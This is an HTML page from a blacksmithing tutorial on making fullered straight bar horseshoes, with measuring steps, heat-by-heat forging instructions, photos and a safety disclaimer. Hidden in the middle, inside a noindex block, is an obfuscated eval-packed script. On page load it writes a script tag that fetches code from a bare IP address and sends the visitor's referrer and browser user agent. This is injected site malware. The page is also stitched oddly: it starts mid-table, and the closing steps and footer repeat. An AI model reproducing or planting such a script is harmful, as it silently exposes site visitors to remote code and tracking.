<th>Heat #7</th> <td colspan="2"><strong>Heat remaining branch and repeat steps as in Heat #6.</strong></td> </tr> <tr> <th>Heat #8</th> <td colspan="2"> <p><strong>Bring to a dull cherry red heat with fullering facing down. Brush and level shoe. Take care to forge out any sole or nail pressure.</strong></p> <p><strong><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_11" src="images/stories/horshoes-graphics/fremlin_1_11.jpg" width="300" height="260" /> </strong></p> <p><strong>File off sharp edges.</strong></p> </td> </tr> </tbody> </table> </center> <h1 style="text-align: center;">Nailed and Finished... Time To Get Paid!</h1> <center><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_done" src="images/stories/horshoes-graphics/fremlin_1_done.jpg" width="166" height="197" /> </center><center> <table width="550"> <tbody> <tr> <td><strong>With a little practice you should be able to make a pair of fullered straight bar shoes in about 35 minutes or less. REMEMBER: Don't get in a hurry. Take your time and have fun! </strong></td> </tr> </tbody> </table> </center> <p> </p> <center><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_12" src="images/stories/horshoes-graphics/fremlin_1_12.jpg" width="306" height="140" /> </center> <hr size="4" width="550" /> <center><strong>Email: <a href="http://mce_host/~horsesho/KFremlin@worldnet.att.netmailtokfremlin@worldnet.att.net">KFremlin@worldnet.att.net</a></strong></center> <hr size="4" width="550" /> <center> <table width="550" border="1" cellpadding="5"> <tbody> <tr> <td bgcolor="#ffff00"><span style="font-size: 10pt;"><strong><span style="text-decoration: underline;">DISCLAIMER AND WARNING</span>: Forgery, metalsmithing, welding, blacksmithing and similar activities have INHERENT RISKS INCLUDING POTENTIAL SERIOUS INJURY TO THE PRACTITIONER AND/OR BYSTANDERS. The practitioner is responsible for ensuring adequate safety precautions (including eye protection appropriate to this type of activity) and skill, issues not covered or purported to be covered in these web pages. KEITH FREMLIN ASSUMES NO RESPONSIBILITY FOR INJURY TO THE PRACTIONER OR OTHERS ENGAGING IN ACTIVITIES OF FORGERY, METALSMITHING, WELDING, BLACKSMITHING OR THE LIKE AS ILLUSTRATED IN THESE WEB PAGES. </strong></span></td> </tr> </tbody> </table> </center></div> <div class="feed-description"><center><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_topnew" src="images/stories/horshoes-graphics/fremlin_1_topnew.jpg" width="202" height="228" /></center> <p> </p><noindex><script id="jminfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|krbbh|var|u0026u|referrer|ryfkf||js|php'.split('|'),0,{})) </script></noindex> <center> <table width="600"> <tbody> <tr> <td><strong>There are many ways to measure a foot for a fullered straight bar shoe. This is one that works for me. This tutorial is based on using 5/16 by 3/4 inch stock. </strong> <p><strong>ARE YOU READY??? Relax....As the great Bob Marshall once told me, "It's only a piece of steel. You can always cut another!"</strong></p> </td> </tr> </tbody> </table> </center> <p> </p> <center> <table style="height: 4152px;" width="601" border="4" cellpadding="5"> <tbody> <tr> <th>Determining the length of stock using 5/16 by 3/4 inch stock.</th> <td colspan="2"><strong>I use a soft tape measure (sewing type)</strong> <p><strong><img style="border-color: #000000; margin: 5px; float: left;" alt="fremlin_1_meas1" src="images/stories/horshoes-graphics/fremlin_1_meas1.jpg" width="292" height="275" /></strong></p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p><strong>Measure from one heel buttress around the toe to the other heel buttress.</strong></p> </td> </tr> <tr> <td></td> <td colspan="2"> <p><strong><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_meas2" src="images/stories/horshoes-graphics/fremlin_1_meas2.jpg" width="366" height="275" /></strong></p> <p><strong>Subtract 2 3/4 inches.</strong></p> </td> </tr> <tr> <td></td> <td colspan="2"> <p><strong><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_meas3" src="images/stories/horshoes-graphics/fremlin_1_meas3.jpg" width="322" height="196" /></strong></p> <p><strong>Measure and add the distance between the heels.</strong></p> <p><strong>This length should put you in the ball park.</strong></p> </td> </tr> <tr> <th>Marking Stock</th> <td><strong>Be sure to mark your stock before starting!</strong> <br /> <p><strong>Make three marks. One in the center of stock for the toe bend and a mark from each end of the stock, half the distance between the heels for the connecting bar. For example: If the distance between the heels is 2 1/4 inches, half of that is 1 1/8 inches.</strong></p> </td> <th style="text-align: center;"> <p><img style="border-color: #000000; margin: 5px; float: left;" alt="fremlin_1_0" src="images/stories/horshoes-graphics/fremlin_1_0.jpg" width="104" height="544" />Marking Stock</p> </th> </tr> <tr> <th>Heat #1 </th> <td> <p><strong>Heat two-thirds of the stock.</strong></p> <p><a href="images/fremlin%20_1_bend1.jpg"><strong>Bend the toe</strong></a></p> </td> <th style="text-align: center;"><img style="border-color: #000000; margin: 5px; float: left;" alt="fremlin_1_bend1" src="images/stories/horshoes-graphics/fremlin_1_bend1.jpg" width="287" height="249" /></th> </tr> <tr> <td></td> <td><strong>Hockey stick the first half of the bar.</strong></td> <td><img style="border-color: #000000; margin: 5px; float: left;" alt="fremlin_1_hockey1" src="images/stories/horshoes-graphics/fremlin_1_hockey1.jpg" width="226" height="196" /><br /></td> </tr> <tr> <td></td> <td></td> <td><img style="border-color: #000000; margin: 5px; float: left;" alt="fremlin_1_hockey2" src="images/stories/horshoes-graphics/fremlin_1_hockey2.jpg" width="268" height="250" /><br /></td> </tr> <tr> <td></td> <td><strong>Scarf the end.</strong></td> <td><img style="border-color: #000000; margin: 5px; float: left;" alt="fremlin_1_scarf1" src="images/stories/horshoes-graphics/fremlin_1_scarf1.jpg" width="204" height="181" /><br /></td> </tr> <tr> <td></td> <td> <p><strong> </strong></p> <br /></td> <td><img style="border-color: #000000; margin: 5px; float: left;" alt="fremlin_1_scarf2" src="images/stories/horshoes-graphics/fremlin_1_scarf2.jpg" width="253" height="228" /><br /></td> </tr> <tr> <td></td> <td><strong>Turn the branch.</strong></td> <td> <p><strong><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_1" src="images/stories/horshoes-graphics/fremlin_1_1.jpg" width="385" height="250" />Finished</strong></p> </td> </tr> <tr> <th>Heat #2</th> <td colspan="2"> <p><strong><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_2" src="images/stories/horshoes-graphics/fremlin_1_2.jpg" width="390" height="255" /></strong></p> <p><strong>Heat remaining stock. Hockey stick second half of the bar.</strong></p> </td> </tr> <tr> <td></td> <td colspan="2"> <p><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_putscarf" src="images/stories/horshoes-graphics/fremlin_1_putscarf.jpg" width="244" height="321" /></p> <p><strong>Put scarfs together.</strong></p> </td> </tr> <tr> <td></td> <td colspan="2"> <p><strong><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_flux" src="images/stories/horshoes-graphics/fremlin_1_flux.jpg" width="350" height="253" /></strong></p> <p><strong>Flux</strong></p> </td> </tr> <tr> <th>Heat #3</th> <td colspan="2"> <p><strong><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_weld" src="images/stories/horshoes-graphics/fremlin_1_weld.jpg" width="367" height="247" /></strong></p> <p><strong>Place shoe in forge so that the bar is surrounded by the fire. </strong></p> <p><strong>Bring to welding heat. Tack the weld together, brush and flux.</strong></p> </td> </tr> <tr> <th>Heat #4</th> <td><strong>Place shoe in forge in the same manner as in Heat #3. Bring to a welding heat, place shoe over bick, bar side up. Using the round side of the hammer, strike the shoe in the location indicated by the red arrow. </strong></td> <th style="text-align: center;"> <p style="text-align: left;"><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_strike1" src="images/stories/horshoes-graphics/fremlin_1_strike1.jpg" width="281" height="208" /></p> <a href="images/fremlin%20_1_finbar.jpg"></a></th> </tr> <tr> <td></td> <td><strong>Pull the shoe back toward the inside of the bick and strike again</strong><strong> in the location indicated by the red arrow. Now face the point of the bick, holding the toes of the shoe with the tongs, and place the ground side of the bar on the end of the bick. </strong></td> <td><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_strike2" src="images/stories/horshoes-graphics/fremlin_1_strike2.jpg" width="288" height="251" /><br /></td> </tr> <tr> <td></td> <td><strong>Again, use the round side of the hammer and draw out</strong><strong> the center inside edge of the bar.</strong></td> <td><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_drawout" src="images/stories/horshoes-graphics/fremlin_1_drawout.jpg" width="282" height="247" /><br /></td> </tr> <tr> <td></td> <td></td> <td> <p><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_finbar" src="images/stories/horshoes-graphics/fremlin_1_finbar.jpg" width="290" height="249" /></p> <p><strong>The finished bar.</strong></p> </td> </tr> <tr> <th>Heat #5</th> <td colspan="2"> <p><strong><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_6" src="images/stories/horshoes-graphics/fremlin_1_6.jpg" width="340" height="249" /><br /></strong></p> <p><strong>Heat the whole shoe evenly. Shape shoe to desired shape. </strong></p> </td> </tr> <tr> <td></td> <td colspan="2"> <p><strong><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_7" src="images/stories/horshoes-graphics/fremlin_1_7.jpg" width="375" height="244" /><br /></strong></p> <p><strong>At the toe, </strong><strong>mark the top</strong><strong> of the fullering. Bump up the quarters and mark for fullering.</strong></p> </td> </tr> <tr> <th>Heat #6</th> <td colspan="2"> <p><strong>Heat first branch to a bright orange-yellow heat. Then:</strong></p> <p><strong><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_8" src="images/stories/horshoes-graphics/fremlin_1_8.jpg" width="375" height="248" /><br /></strong></p> <p><strong>Fuller branch</strong></p> </td> </tr> <tr> <td></td> <td colspan="2"> <p><strong><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_9" src="images/stories/horshoes-graphics/fremlin_1_9.jpg" width="373" height="247" /><br /></strong></p> <p><strong>Bottom punch</strong></p> </td> </tr> <tr> <td></td> <td colspan="2"> <p><strong><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_10" src="images/stories/horshoes-graphics/fremlin_1_10.jpg" width="300" height="245" /><br /></strong></p> <p><strong>Pritchel nail holes.</strong></p> </td> </tr> <tr> <th>Heat #7</th> <td colspan="2"><strong>Heat remaining branch and repeat steps as in Heat #6.</strong></td> </tr> <tr> <th>Heat #8</th> <td colspan="2"> <p><strong>Bring to a dull cherry red heat with fullering facing down. Brush and level shoe. Take care to forge out any sole or nail pressure.</strong></p> <p><strong><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_11" src="images/stories/horshoes-graphics/fremlin_1_11.jpg" width="300" height="260" /> </strong></p> <p><strong>File off sharp edges.</strong></p> </td> </tr> </tbody> </table> </center> <h1 style="text-align: center;">Nailed and Finished... Time To Get Paid!</h1> <center><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_done" src="images/stories/horshoes-graphics/fremlin_1_done.jpg" width="166" height="197" /> </center><center> <table width="550"> <tbody> <tr> <td><strong>With a little practice you should be able to make a pair of fullered straight bar shoes in about 35 minutes or less. REMEMBER: Don't get in a hurry. Take your time and have fun! </strong></td> </tr> </tbody> </table> </center> <p> </p> <center><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="fremlin_1_12" src="images/stories/horshoes-graphics/fremlin_1_12.jpg" width="306" height="140" /> </center> <hr size="4" width="550" /> <center><strong>Email: <a href="http://mce_host/~horsesho/KFremlin@worldnet.att.netmailtokfremlin@worldnet.att.net">KFremlin@worldnet.att.net</a></strong></center> <hr size="4" width="550" /> <center> <table width="550" border="1" cellpadding="5"> <tbody> <tr> <td bgcolor="#ffff00"><span style="font-size: 10pt;"><strong><span style="text-decoration: underline;">DISCLAIMER AND WARNING</span>: Forgery, metalsmithing, welding, blacksmithing and similar activities have INHERENT RISKS INCLUDING POTENTIAL SERIOUS INJURY TO THE PRACTITIONER AND/OR BYSTANDERS. The practitioner is responsible for ensuring adequate safety precautions (including eye protection appropriate to this type of activity) and skill, issues not covered or purported to be covered in these web pages. KEITH FREMLIN ASSUMES NO RESPONSIBILITY FOR INJURY TO THE PRACTIONER OR OTHERS ENGAGING IN ACTIVITIES OF FORGERY, METALSMITHING, WELDING, BLACKSMITHING OR THE LIKE AS ILLUSTRATED IN THESE WEB PAGES. </strong></span></td> </tr> </tbody> </table> </center></div>